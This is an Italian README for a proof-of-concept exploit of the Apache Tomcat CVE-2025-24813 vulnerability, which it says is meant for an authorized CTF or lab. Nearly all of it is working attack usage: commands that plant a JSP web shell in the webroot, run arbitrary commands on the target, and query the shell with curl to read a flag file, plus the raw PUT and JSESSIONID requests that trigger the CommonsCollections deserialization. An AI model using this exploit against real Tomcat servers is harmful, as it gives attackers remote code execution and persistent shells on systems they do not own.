
payload giusto per CVE Java
PoC per un ambiente CTF/lab autorizzato. Sfrutta CVE-2025-24813 tramite la scrittura PUT parziale di un file di sessione Tomcat, quindi innesca la deserializzazione con JSESSIONID.
requestsjava e javac)commons-collections-3.2.1.jar, posizionato in questa cartellaysoserial non è richiesto.
poc_cve_2025_24813.py: wrapper Python che automatizza generazione, upload e trigger.GenerateTomcatSessionPayload.java: genera una sessione Tomcat valida contenente un gadget CommonsCollections.commons-collections-3.2.1.jar: dipendenza del gadget.sh.jsp: JSP shell opzionale distribuito da --drop-shell.Distribuire una JSP shell nella webroot predefinita /opt/tomcat/webapps/ROOT:
./poc_cve_2025_24813.py http://TARGET:8080 \
--session-id poc24813 \
--drop-shell \
--shell-name sh.jsp
Eseguire un comando diretto senza distribuire una shell:
./poc_cve_2025_24813.py http://TARGET:8080 \
--session-id cmd24813 \
--cmd 'id > /opt/tomcat/webapps/ROOT/rce.txt'
Se la webroot è diversa:
./poc_cve_2025_24813.py http://TARGET:8080 \
--drop-shell \
--webroot /path/to/webroot \
--shell-name sh.jsp
Se il JAR viene spostato, indicarne il percorso:
./poc_cve_2025_24813.py http://TARGET:8080 \
--jar /path/to/commons-collections-3.2.1.jar \
--drop-shell
Se --drop-shell riesce:
curl --get --data-urlencode 'cmd=id' http://TARGET:8080/sh.jsp
curl --get --data-urlencode 'cmd=cat /opt/tomcat/user.flg' http://TARGET:8080/sh.jsp
DefaultServlet scrivibile, tipicamente readonly=false.PersistentManager e FileStore.commons-collections.Il comportamento atteso durante l'upload è spesso HTTP 409 Conflict su:
PUT /<session-id>/session
Content-Range: bytes 0-1000/1200
Quindi la deserializzazione viene innescata con:
Cookie: JSESSIONID=.<session-id>